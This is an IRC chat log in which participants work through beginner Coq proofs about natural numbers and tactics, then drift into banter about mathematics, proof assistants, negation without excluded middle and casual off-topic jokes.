15:46:55 <alise_> Error: Impossible to unify "0 >= 1" with "False".
15:47:08 <alise_> oklopol: basically they search for stuff with certain types in the environment then apply them using various different already-proved theorems
15:47:12 <alise_> to try and prove the current goal
15:47:33 <alise_> so like if you have "1 = 0" you can use "discriminate" and it'll look for an equality, then it'll examine the constructors, find out that they're different, and derive a contradiction for you
15:47:46 <oklopol> right, cool
15:47:51 <alise_> you can use "apply F" to apply a function/implication in the environment automatically filling in the arguments it can, giving subgoals automatically if this reduces the problem
15:47:59 <alise_> oklopol: one issue is that tactics automatically introduce variables with names they like
15:48:09 <alise_> so reading it without seeing the transcript, random "H3"s just appear out of nowhere :)
15:49:10 <alise_> Maybe I'll prove forall n, exists m, m > n, then prove ~ exists n, forall m, n >= m from that.
15:49:55 <alise_> ============================
15:49:55 <alise_> S n > n
15:50:00 <alise_> auto time :P
15:50:17 <alise_> here's my documentation for auto: "does something helpful, or does something unhelpful, or does nothing".
15:50:18 <oklopol> what's auto?
15:50:23 <alise_> this time it worked!
15:50:27 <oklopol> cool
15:50:27 <alise_> oklopol: it tries to magically prove whatever for you
15:50:29 <alise_> it isn't very good at it
15:50:40 <alise_> intros n.
15:50:40 <alise_> apply ex_intro with (S n).
15:50:41 <alise_> auto.
15:50:41 <alise_> ->
15:50:44 <alise_> alwaysbigger =
15:50:46 <alise_> fun n : nat => ex_intro (fun m : nat => m > n) (S n) (le_n (S n))
15:50:46 <alise_> : forall n : nat, exists m : nat, m > n
15:52:01 <alise_> x : nat
15:52:03 <alise_> H : forall m : nat, x >= m
15:52:03 <alise_> x0 : nat
15:52:03 <alise_> H0 : x0 > x
15:52:03 <alise_> ============================
15:52:03 <alise_> False
15:52:03 <alise_> that's better
15:54:29 <alise_> H0 : x0 > x
15:54:30 <alise_> H1 := H x0 : x >= x0
15:54:31 <alise_> cuntradiction
15:56:45 <alise_> destruct H0
15:56:46 <alise_> then I get
15:56:47 <alise_> H1 := H (S x) : x >= S x
15:57:04 <oklopol> destruct?
15:57:18 <alise_> basically... take this object, deconstruct it into its components
15:57:23 <alise_> which depends on what it is
15:57:29 <alise_> in this case I'm destructing the inequality into the environment
15:57:35 <alise_> so that the same implications hold, but it's folded into other things
15:57:39 <alise_> rather than a separate object
15:57:52 <alise_> with e.g. a tuple (x,y) it'd introduce two values, x and y
15:58:01 <alise_> they're tactics... they don't really have precise semantics :)
15:58:02 <oklopol> kinda cool
15:58:06 <oklopol> yeah i get it
15:59:37 <alise_> lol disproving x >= S x is so hard
15:59:45 <alise_> there must be some lemma for x >= y -> x <> y
15:59:52 <alise_> then I could use discriminate
16:01:23 <alise_> Theorem gt_Sn_n : forall n, S n > n.
16:01:33 <alise_> Hint Resolve gt_Sn_n: arith v62.
16:04:42 <alise_> x : nat
16:04:43 <alise_> H : forall m : nat, x >= m
16:04:43 <alise_> H1 := H (S x) : x >= S x
16:04:43 <alise_> ============================
16:05:03 -!- lament has quit (Ping timeout: 252 seconds).
16:05:15 <alise_> proving False from this is stupidly hard...
16:05:15 <alise_> obviously ~ x >= S x
16:08:22 -!- lament has joined.
16:08:25 <alise_> H1 := H x : x >= x
16:08:28 <alise_> now we're getting somewhere
16:20:36 <alise_> I'm just doing it the general abstract nonsense way -
16:20:59 <alise_> Prove (forall x, P x) -> ~(exists x, ~P x)
16:21:35 <alise_> then apply that to alwaysbigger
16:21:36 <alise_> (alwaysbigger : forall x, exists y, y > x) so we get ~(exists x, ~exists y, y > x).
16:21:36 <alise_> I'll go from there.
16:21:45 <alise_> forallnotexists2 =
16:21:46 <alise_> fun (A : Type) (P : A -> Prop) (H : forall x : A, P x)
16:21:46 <alise_> (H0 : exists x : A, ~ P x) =>
16:21:46 <alise_> match H0 with
16:21:46 <alise_> | ex_intro x H1 => let H2 := H x in False_ind False (H1 H2)
16:21:46 <alise_> end
16:21:47 <alise_> : forall (A : Type) (P : A -> Prop),
16:21:49 <alise_> (forall x : A, P x) -> ~ (exists x : A, ~ P x)
16:21:58 <alise_> if anyone cares.
16:22:00 <alise_> Pretty easy proof, it has to be said.
16:26:55 <alise_> lol auto worked in coqtop but not here...
16:27:17 <alise_> in emacs
16:29:17 <dixon> Write it in LaTeX.
16:29:18 <alise_> oh because I inverted it lol
16:33:37 <AnMaster> <alise> you need to do stuff <-- what stuff?
16:34:12 <AnMaster> (context: composite key=
16:34:16 <AnMaster> s/=/)/
16:35:55 <alise_> Darn, I can't turn ~ exists ~ -> forall.
16:36:44 <alise_> Because that's excluded middle.
16:36:44 <alise_> AnMaster: It's like some sort of include thing and some sort of config file change and thingy; I forget.
16:36:44 <alise_> dixon: latex coq
16:36:44 <alise_> I have ~ exists n, ~ exists m, m > n which is, you know, close.
16:37:10 -!- Gracenotes has quit (Quit: Leaving).
16:38:17 -!- kar8nga has joined.
16:41:56 <alise_> This tactic applies to any goal. assert (H : U) adds a new hypothesis of name H asserting U to the current goal and opens a new subgoal U3. The subgoal U comes first in the list of subgoals remaining to prove.
16:42:00 <alise_> gawd, why didn't I know of this before
16:50:19 * alise_ looks for (m <= n) -> (m <= S n)
16:52:26 -!- lifthrasiir has joined.
16:52:47 <alise_> x : nat
16:52:47 <alise_> H : forall m : nat, S x >= m
16:52:47 <alise_> IHx : (forall m : nat, x >= m) -> False
16:52:48 <alise_> ============================
16:52:49 <alise_> False
16:52:51 <alise_> man go fuck yourself :P
16:55:06 <AnMaster> alise_, hm okay
16:55:09 <AnMaster> bbl
16:55:46 <dixon> alise_: Write it in LaTeX without using a tool to do it for you.
16:56:06 <alise_> dixon: But the proof is trivial; all I am trying to do is get used to Coq.
16:56:35 <alise_> Typesetting is not what I am trying to do.
16:56:43 <dixon> i c
16:57:58 <alise_> H : forall m : nat, 1 >= m
16:57:59 <alise_> ============================
16:57:59 <alise_> forall m : nat, 0 >= m
16:57:59 <alise_> lol
16:58:04 <alise_> i am doing this all wrong
17:00:15 <alise_> x : nat
17:00:16 <alise_> H : forall m : nat, S (S x) >= m
17:00:16 <alise_> IHx : (forall m : nat, S x >= m) -> False
17:00:16 <alise_> IHx0 : (forall m : nat, S x >= m) ->
17:00:16 <alise_> ((forall m : nat, x >= m) -> False) -> False
17:00:16 <alise_> ============================
17:00:17 <alise_> False
17:00:20 <alise_> I have a feeling Coq is trying to get me to do an infinite induction manually
17:04:58 -!- lament has quit (Ping timeout: 240 seconds).
17:08:05 -!- adam_d has joined.
17:12:03 <alise_> Well, I proved it.
17:12:14 <FireFly> <alise_> man go fuck yourself :P
17:12:14 <FireFly> <AnMaster> alise_, hm okay
17:12:14 <FireFly> <AnMaster> bbl
17:12:16 <alise_> Not using tactics - only partly - though.
17:12:19 <alise_> :D
17:12:20 <FireFly> What was the syntax for that quote bot?
17:13:12 <alise_> http://pastie.org/892210.txt?key=ir8pgxsvdnexhfoifnvvpg
17:13:17 <alise_> FireFly: `addquote ...
17:13:34 <FireFly> `addquote <alise_> man go fuck yourself :P <AnMaster> alise_, hm okay <AnMaster> bbl
17:13:47 <FireFly> `quote
17:13:49 <FireFly> Hmm
17:14:34 <alise_> Theorem No_biggest_3 : ~ exists n, forall m, n >= m.
17:14:34 <alise_> intros H.
17:14:34 <alise_> destruct H.
17:14:34 <alise_> set (H0 := H (S x)).
17:14:34 <alise_> apply (Not_bigger_than_successor H0).
17:14:35 <alise_> Qed.
17:14:35 <alise_> tada
17:14:39 <alise_> I could fold in Not_bigger_than_successor if I wanted...
17:15:32 <HackEgo> No output.
17:15:32 <HackEgo> No output.
17:15:58 <alise_> No_biggest_4 =
17:15:59 <alise_> fun H : exists n : nat, forall m : nat, n >= m =>
17:15:59 <alise_> match H with
17:15:59 <alise_> | ex_intro x H0 =>
17:15:59 <alise_> let H1 := H0 (S x) in let H2 := gt_Sn_n x in le_not_lt (S x) x H1 H2
17:15:59 <alise_> end
17:16:00 <alise_> : ~ (exists n : nat, forall m : nat, n >= m)
17:16:00 <alise_> Success!
17:16:27 <alise_> Proof: intros H. destruct H. set (H0 := H (S x)). assert (H1 : S x > x). apply gt_Sn_n. apply (le_not_lt (S x) x). assumption. assumption.
17:18:52 <alise_> Thus proving the incredibly obvious truth that there is no natural number n such that for all natural numbers m, n is either greater than or equal to m.
17:19:10 <alise_> All the 0 people who believe that infinity is a natural number have been thoroughly debunked! Ha!
17:19:16 <alise_> That was such a waste of time.
17:19:27 <uorygl> There are more than 0 people who believe that.
17:19:45 <alise_> Shaddup.
17:19:56 <alise_> From Talk:Hereditarily finite set, archived from Votes for DEletion:
17:19:57 <alise_> "Hereditarily finite set. Strange maths stuff. Makes no sense. Angela 00:52, Oct 2, 2003 (UTC)"
17:20:07 <alise_> Angela being the Wikia founder.
17:20:19 <uorygl> Heh.
17:20:39 <dixon> wat, u mean I can't just do S(n)
17:20:59 <uorygl> Hey, "hereditarily finite set" alternates vowels and consonants.
17:21:06 <alise_> dixon: wut
17:21:17 <alise_> *Deletion
17:21:28 <dixon> let m = S(n)
17:21:35 <alise_> well yeah exactly
17:21:46 <dixon> my proof is shorter. suckaaaaaaaaa
17:21:48 <alise_> but that just gives you n >= S n... so then you have to disprove that
17:21:58 <uorygl> Well, to be fair, when she nominated it for deletion, the article's text was this:
17:22:02 <alise_> which you do by asserting that S n > n, using the existing theorem for that, then using the theorem that contradicts the two
17:22:06 <dixon> ... n can't be >= S(n)
17:22:10 <alise_> of course it can't
17:22:14 <uorygl> "A set A is called 'Heredity finite' if it is is in $V_\omega$, or on other word, if it is in $V_n$ for some natural number $n$"
17:22:16 <alise_> and there can't be a finite number of primes
17:22:17 <alise_> you have to prove it
17:22:52 <alise_> dixon: Of course it is very easy to package the fact that ~ n >= S n up into one theorem.
17:22:59 <alise_> Theorem Not_bigger_than_successor {n} : ~ n >= S n.
17:23:00 <alise_> intros n H.
17:23:00 <alise_> assert (H0 : S n > n).
17:23:00 <alise_> apply gt_Sn_n.
17:23:00 <alise_> apply (le_not_lt (S n) n).
17:23:00 <alise_> assumption.
17:23:02 <alise_> assumption.
17:23:04 <alise_> Qed.
17:23:15 <alise_> Either I just didn't find it in Coq's library or nobody thought to combine the two yet, because there's ~ n > S n.
17:23:26 <dixon> Or you could just reference Peano's axioms.
17:24:23 <alise_> Peano's axioms don't actually define greaterthan, less than, etc, for a start.
17:24:25 <alise_> Just equality.
17:25:19 <alise_> So... yeah.
17:25:28 <dixon> We can define less than using them. If m = S^n(x) for some natural n, then m > x
17:25:37 <alise_> Which is something you have to prove.
17:25:45 <dixon> No I don't.
17:25:46 <alise_> You can't just say "this is true" because if you did that nothing would need a proof.
17:25:55 <dixon> I can define it as true.
17:25:56 <alise_> Anyway -- if I used "auto with arith" it could do all this automatically.
17:25:59 <alise_> But I was too lazy.
17:26:07 <alise_> dixon: Then congratulations, you created an axiom.
17:26:21 <alise_> Too lazy to avoid doing work, heh.
17:26:33 <alise_> Anyway, yes, of course, there is a tactic to automatically prove this sort of stuff for you in one statement.
17:26:43 <alise_> But I'm trying to learn how to use Coq, not how to ask Coq to prove everything for me.
17:26:55 <alise_> If you just want to dis Coq as being a verbose waste of time you could just do that directly :P
17:27:25 -!- kar8nga has quit (Remote host closed the connection).
17:27:30 <dixon> I don't think Coq is a waste of time, I think computer-based pseudo-math using Coq, Haskell, Axiom, etc is a waste of time.
17:27:42 <alise_> Haskell can't even prove things.
17:27:48 <dixon> Yes it can.
17:27:51 <alise_> So lumping it in with Coq is ridiculous.
17:28:09 <alise_> dixon: Well, for a start, it can prove anything (using undefined); for a second, its propositions are boolean-returning functions, not actual types.
17:28:12 <alise_> So no, it cannot.
17:28:21 <alise_> And Axiom is a computer algebra system, not a proof assistant.
17:28:26 <dixon> Curry-Howard isomorphism.
17:28:53 <dixon> And I'm well-aware what Axiom is, but it has a language packaged with it called Aldor.
17:28:56 <alise_> - is clearly something you know nothing about; it addresses the simply-typed lambda calculus, which has no _|_.
17:28:56 <alise_> So - do you consider the proof of the four-colour theorem "pseudo-math"?
17:29:03 <alise_> Is it pseudo-math just because a computer did it?
17:29:49 <AnMaster> FireFly, hah at that quote
17:30:56 -!- jcp has joined.
17:32:40 <dixon> alise_: Coming from the one saying you can't prove things in Haskell, you seem to be the one in the dark. And I think fooling around with Coq, Haskell, etc and thinking it makes you a mathematician is pseudo-math, not being a mathematician who happens to use Coq to construct a proof of e.g., the FCT.
17:32:59 <alise_> Well, yes, you can prove things in Haskell, but it is an inconsistent system.
17:33:25 <alise_> Yes - you can do `data Z; data S n`, then meticulously define operations on it, then construct values to prove it.
17:33:30 <alise_> But you can prove anything you want: "undefined".
17:33:33 <uorygl> That depends on how you define "a mathematician".
17:33:44 <alise_> It is a proof system only in the most pathological sense, and even then it is blatantly inconsistent.
17:33:51 <alise_> And I never claimed I was a mathematician because I fuck around with Coq.
17:34:06 <dixon> uorygl: Think Newton.
17:34:22 <alise_> But are you imposing some sort of elitism on "mathematician" above someone who does mathematics? Surely if some amateur constructed a new kind of object and proved useful things about it with Coq, e would be a "real" mathematician.
17:34:54 <alise_> If you do not agree then you're just an elitist scared of some random nobody doing anything worthwhile.
17:35:05 -!- Quadrescence has joined.
17:35:11 <uorygl> So a mathematician is a person who invents new fields of mathematics and discovers novel applications of it?
17:35:37 <alise_> Or even just a person who discovers novel results about existing fields.
17:35:43 <AnMaster> uorygl, I would say far from all mathematicians manage to invent a new field of mathematics.
17:35:49 <alise_> A mathematician is someone who explores mathematics and shows up previously unknown things in its depths.
17:35:58 <AnMaster> some could refine an already existing field
17:36:12 <alise_> They're even a mathematician if they only try and do this without succeeding as long as they have the competence to potentially do it.
17:36:18 <AnMaster> alise_, correction: s/mathematician/successful mathematician/ :P
17:36:45 <AnMaster> hm
17:37:01 <AnMaster> (for the one before)
17:37:13 <AnMaster> (my finger was on enter when your last line arrived)
17:41:26 -!- MigoMipo has quit (*.net *.split).
17:43:09 -!- pikhq has quit (*.net *.split).
17:43:09 -!- yiyus has quit (*.net *.split).
17:43:09 -!- alise_ has quit (*.net *.split).
17:43:09 -!- Gregor has quit (*.net *.split).
17:43:09 -!- olsner has quit (*.net *.split).
17:43:09 -!- adam_d has quit (*.net *.split).
17:43:10 -!- uorygl has quit (*.net *.split).
17:43:10 -!- ineiros has quit (*.net *.split).
17:43:10 -!- tombom has quit (*.net *.split).
17:43:10 -!- mtve has quit (*.net *.split).
17:43:10 -!- SimonRC has quit (*.net *.split).
17:43:10 -!- Quadrescence has quit (*.net *.split).
17:43:10 -!- jix has quit (*.net *.split).
17:43:10 -!- pineapple has quit (*.net *.split).
17:43:10 -!- rodgort has quit (*.net *.split).
17:43:10 -!- chickenzilla has quit (*.net *.split).
17:43:10 -!- jcp has quit (*.net *.split).
17:43:10 -!- EgoBot has quit (*.net *.split).
17:43:10 -!- HackEgo has quit (*.net *.split).
17:43:10 -!- cal153 has quit (*.net *.split).
17:43:11 -!- MaXo2 has quit (*.net *.split).
17:43:11 -!- Leonidas has quit (*.net *.split).
17:43:11 -!- MizardX has quit (*.net *.split).
17:43:11 -!- FireFly has quit (*.net *.split).
17:43:11 -!- wareya has quit (*.net *.split).
17:43:11 -!- myndzi\ has quit (*.net *.split).
17:43:11 -!- bsmntbombdood has quit (*.net *.split).
17:43:11 -!- comex has quit (*.net *.split).
17:43:11 -!- Ilari has quit (*.net *.split).
17:43:11 -!- dixon has quit (*.net *.split).
17:43:11 -!- cheater2 has quit (*.net *.split).
17:43:11 -!- BeholdMyGlory has quit (*.net *.split).
17:43:11 -!- AnMaster has quit (*.net *.split).
17:43:11 -!- oklopol has quit (*.net *.split).
17:43:13 -!- sshc has quit (Ping timeout: 255 seconds).
17:43:42 -!- mycroftiv has quit (Ping timeout: 240 seconds).
17:44:33 -!- sebbu has quit (Ping timeout: 240 seconds).
17:45:34 -!- sshc has joined.
17:45:34 -!- mycroftiv has joined.
17:45:34 -!- Quadrescence has joined.
17:45:34 -!- jcp has joined.
17:45:34 -!- adam_d has joined.
17:45:34 -!- MizardX has joined.
17:45:34 -!- alise_ has joined.
17:45:34 -!- MigoMipo has joined.
17:45:34 -!- cheater2 has joined.
17:45:34 -!- tombom has joined.
17:45:34 -!- FireFly has joined.
17:45:34 -!- BeholdMyGlory has joined.
17:45:34 -!- AnMaster has joined.
17:45:34 -!- oklopol has joined.
17:45:34 -!- pikhq has joined.
17:45:34 -!- wareya has joined.
17:45:34 -!- dixon has joined.
17:45:34 -!- myndzi\ has joined.
17:45:34 -!- yiyus has joined.
17:45:34 -!- mtve has joined.
17:45:34 -!- ineiros has joined.
17:45:34 -!- uorygl has joined.
17:45:34 -!- SimonRC has joined.
17:45:34 -!- EgoBot has joined.
17:45:34 -!- HackEgo has joined.
17:45:34 -!- cal153 has joined.
17:45:34 -!- jix has joined.
17:45:34 -!- pineapple has joined.
17:45:34 -!- rodgort has joined.
17:45:34 -!- chickenzilla has joined.
17:45:34 -!- olsner has joined.
17:45:34 -!- Gregor has joined.
17:45:34 -!- bsmntbombdood has joined.
17:45:34 -!- MaXo2 has joined.
17:45:34 -!- Leonidas has joined.
17:45:34 -!- comex has joined.
17:45:34 -!- Ilari has joined.
17:45:48 <Quadrescence> I will speak to him and leverage what he knows already, and move forward.
17:45:49 -!- sebbu has joined.
17:45:52 <alise_> Well, you could have just stated - as I suspected - that it was a philosophical objection to all this rag at the start; then we'd know it's a philosophical disagreement and could have stopped wasting our time sooner.
17:45:58 -!- adam_d has quit (Ping timeout: 240 seconds).
17:46:04 <alise_> And Zeilberger is a lunatic.
17:46:16 <Quadrescence> He's a smart lunatic.
17:46:30 <alise_> Yes, well, so are many people.
17:46:32 <Quadrescence> And he knows his shit and moreover has a passion lacking in most mathematicians.
17:46:53 <dixon> Masterpieces.
17:47:51 <alise_> dixon: Is that just a random exclamation or does it have context?
17:48:39 <dixon> alise_: You'd understand if you knew much about Zeilberger.
17:48:56 * Sgeo_ wonders who isn't a lunatic, according to alise_
17:49:05 <alise_> dixon: lol.
17:49:24 <Sgeo_> VLC: Please stop being an attention whore. You should only be making your window flash when something actually happens
17:50:26 -!- sshc has quit (Ping timeout: 258 seconds).
17:50:48 <dixon> Sgeo_: VLC said that if you stop watching porn in it, it'll stop flashing you.
17:50:49 -!- sshc has joined.
17:50:55 <Sgeo_> lol
17:51:02 <dixon> That's what VLC thought.
17:51:21 -!- BeholdMyGlory_ has joined.
17:51:57 -!- AnMaster_ has joined.
17:53:39 -!- jcp has quit (Ping timeout: 258 seconds).
17:54:56 -!- Leonidas has quit (Ping timeout: 258 seconds).
17:54:56 -!- MaXo2 has quit (Ping timeout: 258 seconds).
17:55:01 -!- BeholdMyGlory has quit (Remote host closed the connection).
17:55:02 -!- MaXo2 has joined.
17:55:03 -!- AnMaster has quit (Remote host closed the connection).
17:55:06 -!- mtve has quit (Ping timeout: 246 seconds).
17:55:07 -!- SimonRC has quit (Ping timeout: 246 seconds).
17:55:07 -!- SimonRC has joined.
17:55:39 -!- jcp has joined.
17:55:54 -!- Leonidas_ has joined.
17:55:55 -!- Leonidas_ has quit (Changing host).
17:55:55 -!- Leonidas_ has joined.
17:56:07 -!- sshc has quit (Changing host).
17:56:07 -!- sshc has joined.
17:56:09 -!- AnMaster_ has quit (Changing host).
17:56:09 -!- AnMaster_ has joined.
17:56:09 -!- BeholdMyGlory_ has quit (Changing host).
17:56:09 -!- BeholdMyGlory_ has joined.
17:56:14 -!- jcp has quit (Changing host).
17:56:14 -!- jcp has joined.
17:56:43 -!- cal153 has quit (Ping timeout: 258 seconds).
17:56:46 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory.
17:56:48 -!- cal153 has joined.
17:56:55 -!- uorygl has quit (*.net *.split).
17:56:55 -!- ineiros has quit (*.net *.split).
17:57:58 <alise_> "dd/dd is something based on dd/sh but different. It is based on the UNIX 'dd' command, but it doesn't use 'dd' command, actually, because it is different. "
17:59:48 -!- uorygl has joined.
18:00:05 -!- uorygl has quit (Read error: Operation timed out).
18:00:22 -!- uorygl has joined.
18:01:10 -!- lifthras1ir has joined.
18:01:12 -!- adam_d has joined.
18:01:12 -!- MizardX- has joined.
18:01:18 -!- sebbu has quit (*.net *.split).
18:01:18 -!- MizardX has quit (*.net *.split).
18:01:41 -!- MizardX- has changed nick to MizardX.
18:01:56 -!- werdan7 has quit (Read error: Connection reset by peer).
18:01:56 -!- lifthrasiir has quit (Remote host closed the connection).
18:02:31 -!- myndzi has joined.
18:02:49 -!- werdan7_ has joined.
18:04:02 -!- mtve has joined.
18:04:03 -!- sebbu has joined.
18:04:07 -!- charlls has joined.
18:05:35 -!- myndzi\ has quit (Ping timeout: 268 seconds).
18:05:43 -!- AnMaster_ has changed nick to AnMaster.
18:06:44 -!- fax has joined.
18:06:45 -!- ineiros has joined.
18:08:55 <alise_> Infinite associative arrays + lazy mapping =
18:08:55 <alise_> plus :=
18:08:56 <alise_> :nats / {n} [ n := [ 0 := n ] ]
18:08:56 <alise_> | :nats / {n} [ n := :nats / {m} [ m succ := plus n m succ ] ]
18:08:56 <alise_> ;
18:09:25 -!- charlls has quit (Ping timeout: 264 seconds).
18:11:50 -!- charlls has joined.
18:12:01 <alise_> If you had succ as a function not a "method" it'd be
18:12:04 <alise_> succ (plus n m)
18:15:33 -!- MaXo2 has quit (Ping timeout: 240 seconds).
18:15:42 -!- yiyus has quit (*.net *.split).
18:15:49 -!- MaXo2 has joined.
18:16:33 -!- Deewiant has quit (Ping timeout: 240 seconds).
18:17:18 -!- Deewiant has joined.
18:17:55 <alise_> Why hello there... DEEWIANT
18:18:08 <Deewiant> Wellhello
18:18:58 <alise_> A little BING noise keeps happening every while on this machine... why grr
18:22:41 -!- yiyus has joined.
18:26:20 -!- pineapple has quit (Ping timeout: 245 seconds).
18:26:22 -!- pineapple has joined.
18:29:50 -!- BeholdMyGlory_ has joined.
18:31:16 -!- BeholdMyGlory has quit (Write error: Broken pipe).
18:41:02 -!- oklofok has joined.
18:42:15 -!- cheater3 has joined.
18:43:19 -!- cheater2 has quit (Write error: Connection reset by peer).
18:45:38 -!- oklopol has quit (Ping timeout: 260 seconds).
18:46:22 -!- BeholdMyGlory_ has quit (Changing host).
18:46:22 -!- BeholdMyGlory_ has joined.
18:46:25 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory.
19:07:19 -!- Oranjer has joined.
19:10:07 <alise_> it's weird that you can prove ~~~~P -> ~~P without LEM...
19:10:46 <fax> no it's not
19:11:18 -!- oerjan has joined.
19:12:07 -!- kar8nga has joined.
19:12:08 <fax> it's just saying ~~~~P -> (P -> False) -> False, so you have hypothesis H : ~~~~P and H' : ~P, but ~P -> ~~~P which immediately contradicts H
19:12:41 <fax> the point is that the negation gives you contra-whatever-it-is which lets you add more ~'s instead of stripping them off
19:12:53 <oerjan> <oklopol> i'm both and i both do and don't have a sense of humor, i think <-- no, that would be the quantum physicists
19:14:22 <alise_> and ~~~P -> ~P for that matter
19:14:24 <alise_> fax: intuitively weird, I mean
19:14:32 <alise_> get into #morphism fax :<
19:14:55 <fax> it's because you're looking at it wrong
19:18:48 <oerjan> ~ may be an antitone galois connection, i think?
19:20:05 <oerjan> or wait, does that require the excluded middle
19:21:07 <oerjan> b -> ~a iff a -> ~b. hm that's obvious really.
19:21:23 <oerjan> so no excluded middle required
19:22:19 <fax> alise_ ????
19:22:50 <fax> I think b -> ~a iff a -> ~b is excluded middle?
19:23:02 <fax> no sorry of course it's not
19:23:52 <alise_> whoa, flood
19:23:53 <alise_> all at once
19:23:55 <alise_> sorry guyz
19:24:09 <oerjan> nah with ~a = a -> false, it's just switching of assumptions
19:28:16 <fax> how to give a geometrical interpretation of Sum[k=1..] (2/3)^k?
19:29:00 <fax> I'm so confused how can 2/3 possibly be less than 1
19:29:13 -!- adam_d_ has joined.
19:31:56 -!- adam_d has quit (Ping timeout: 246 seconds).
19:32:56 * oerjan swats fax to unconfuse em -----###
19:33:27 <fax> I figured it out
19:33:50 <oerjan> good, good
19:33:58 <fax> but still can't explain the convergence
19:34:18 <oerjan> it's obvious from the geometric interpretation >:)
19:34:52 <fax> what is the geometric interpretation
19:35:04 <oerjan> well one interpretation
19:35:37 <oerjan> just divide up say a triangle into infinitely many pieces so that each piece is 2/3 of the previous one
19:35:54 <fax> what
19:36:17 <fax> you mean like chop a triangle up somhow
19:36:28 <oerjan> actually chopping up a line segment may be easier
19:36:36 <fax> area of a triangle = 1/2 w h
19:36:46 <oerjan> (then you just need length
19:36:47 <oerjan> )
19:38:21 <oerjan> fax: take a line segment whose length is x where x = 2/3 + (2/3)*x
19:39:00 <oerjan> chop off the first 2/3, then note how the rest is just the original scaled by 2/3
19:39:28 <fax> that's just solving the equation :(
19:39:41 <oerjan> it's also a geometric interpretation
19:40:30 <oerjan> it's just that you obviously need to solve the equation to find out how long the whole segment should be
19:42:10 <oerjan> if you use triangles you'll need to take the square root of 2/3 to get the right area
19:43:27 <oerjan> <alise_> it's weird that you can prove ~~~~P -> ~~P without LEM...
19:43:44 <oerjan> oh and that is essentially the galois connection stuff again
19:44:26 <alise_> lol I did an induction on an (impossible) natural
19:44:31 <alise_> and it simply gave me no assumptions
19:44:33 <alise_> empty induction!
19:44:48 <alise_> (-> P 0)
19:45:30 -!- adam_d_ has changed nick to adam_d.
19:52:50 -!- hiato has joined.
19:53:26 -!- hiato has quit (Client Quit).
20:11:30 -!- adam_d has quit (Ping timeout: 260 seconds).
20:53:17 * alise_ has a cool idea
20:53:20 <alise_> stack-based term rewriting
20:53:32 <fax> great idea Lindenmayer!
20:53:37 <fax> how did you come up with that
20:54:25 <alise_> fuck you :D
20:54:31 <alise_> no but I mean
20:54:35 <alise_> basically the same as tree rewriting languages
20:54:44 <alise_> except it just checks the stack every iteration
20:54:59 <alise_> that way... you don't need parens or anything
20:55:01 <alise_> really simple impl
20:55:16 -!- kar8nga has quit (Ping timeout: 260 seconds).
20:55:17 <alise_> but yet#
20:55:17 <alise_> yet
20:55:20 <alise_> you can do prefix ops
20:55:21 <alise_> and t t
20:55:22 <alise_> ->
20:55:23 <alise_> and
20:55:24 <alise_> and t
20:55:27 <alise_> and t t REWRITE LOL
20:55:28 <alise_> t
20:56:50 <Sgeo_> <Andy-> Interesting profile.
20:56:51 <Sgeo_> <Andy-> You appear to be a progressive atheist gay programmer.
20:56:51 <Sgeo_> <Andy-> Possibly a redditor.
20:57:12 <fax> progressive??
20:57:13 <alise_> Well, you learned one new thing about yourself.
20:57:20 <fax> what the fuck is progressive about being a gay atheist
20:57:21 <alise_> fax: fag name for left-winger
20:57:30 <alise_> so wait you hate gays too? :D
20:57:45 <alise_> Sgeo_: context?
20:58:07 <fax> of course not
20:58:15 <fax> how could you even think that
20:58:25 <alise_> well I know you dislike atheism
20:58:38 <alise_> and i don't see how being gay and atheist are not "progressive" for a loose definition
20:58:48 <alise_> and I also don't see that Andy- connected the two
20:58:58 <alise_> so I was assuming you were using {atheist, gay} bad -> not progressive
20:59:01 <alise_> apologies if I am wrong
20:59:06 <Sgeo_> alise_, he wrote a program to get information about an SL user's profile, including group stuff
20:59:08 <fax> uh I thought progressive means like
20:59:15 <Sgeo_> http://www.mancer.org/sgeo.txt
20:59:16 <fax> radical new fresh idea
20:59:18 <fax> or somethin like that
20:59:22 <fax> as opposed to same old shit
20:59:35 <fax> SL ??
20:59:38 <alise_> well gay atheism isn't exactly acceptable in today's society :)))
20:59:39 <alise_> second life
20:59:41 <oerjan> fax: sure, but compared to the 1950s, not now >:)
20:59:44 <alise_> fax: no it just means liberal anyway because USA sucks
20:59:52 <fax> alise everyone is a gay atheist
21:00:24 <alise_> fax is pulling a fax :D
21:02:48 <alise_> Axiom Too_Lazy : forall P, P. (* Fill in the boring parts of proofs later *)
21:03:54 * oerjan isn't sure whether that is false or tautological
21:04:03 <alise_> false, naturally
21:04:06 <alise_> consider Too_Lazy False
21:04:09 <alise_> : False
21:04:20 <alise_> to spell it out
21:04:23 <alise_> (P : Proposition) -> P
21:04:36 <alise_> P is the proposition, a value of type P is a proof of P
21:05:02 <oerjan> hm would forall x:P, P be a tautology then?
21:05:33 -!- anto_ram has joined.
21:06:06 -!- anto_ram has left (?).
21:06:43 <oerjan> what about forall x:P, x
21:07:42 * oerjan guesses at least the first one is, from what you said
21:08:42 <fax> you can't do forall x:P, x it's a type error
21:08:46 <fax> (assuming P : Prop)
21:08:58 <fax> since x is a 'value'
21:09:21 <oerjan> ok
21:12:13 <Sgeo_> Incidentally, I'm not gay
21:12:27 * fax knew that :P
21:13:24 -!- tombom_ has joined.
21:15:25 -!- tombom has quit (Ping timeout: 264 seconds).
21:15:54 <alise_> <oerjan> hm would forall x:P, P be a tautology then?
21:15:54 <alise_> yes
21:15:56 <alise_> well
21:16:00 <alise_> forall P, forall x:P, P
21:16:06 <alise_> forall x:P, x is wrong yeah
21:16:09 <alise_> since x : P
21:16:22 <fax> :P
21:16:23 <alise_> but forall a:b,c is the dependent function arrow b-->c where the b is called a
21:16:28 <alise_> so obviously values don't make any sense there
21:16:30 <alise_> Sgeo_: well become gay!
21:16:37 <fax> it's fashionable!
21:16:51 * Sgeo_ somewhat wishes he could choose to become bi
21:17:30 <alise_> Use transsexuals as a bridge!
21:18:02 <oerjan> sounds kinky
21:18:42 <Sgeo_> <kick52> 8:46:22 [Foonetic] CTCP PING reply from Sgeo_: 1374.449 seconds
21:18:43 <Sgeo_> <kick52> 22 minutes, Sgeo
21:19:18 -!- hiato has joined.
21:19:21 <alise_> oerjan: You can't just say that something sounds kinky, we're talking about sexuality
21:19:35 <alise_> Therefore no sexual puns can possibly work.
21:19:36 <alise_> Q.E.D.
21:20:27 <dixon> Did you really use QED in a conversation?
21:20:38 <oerjan> quite easily done
21:21:20 <alise_> dixon: Yes, Q.E.D.
21:21:28 <alise_> Did I offend you, Q.E.D.?
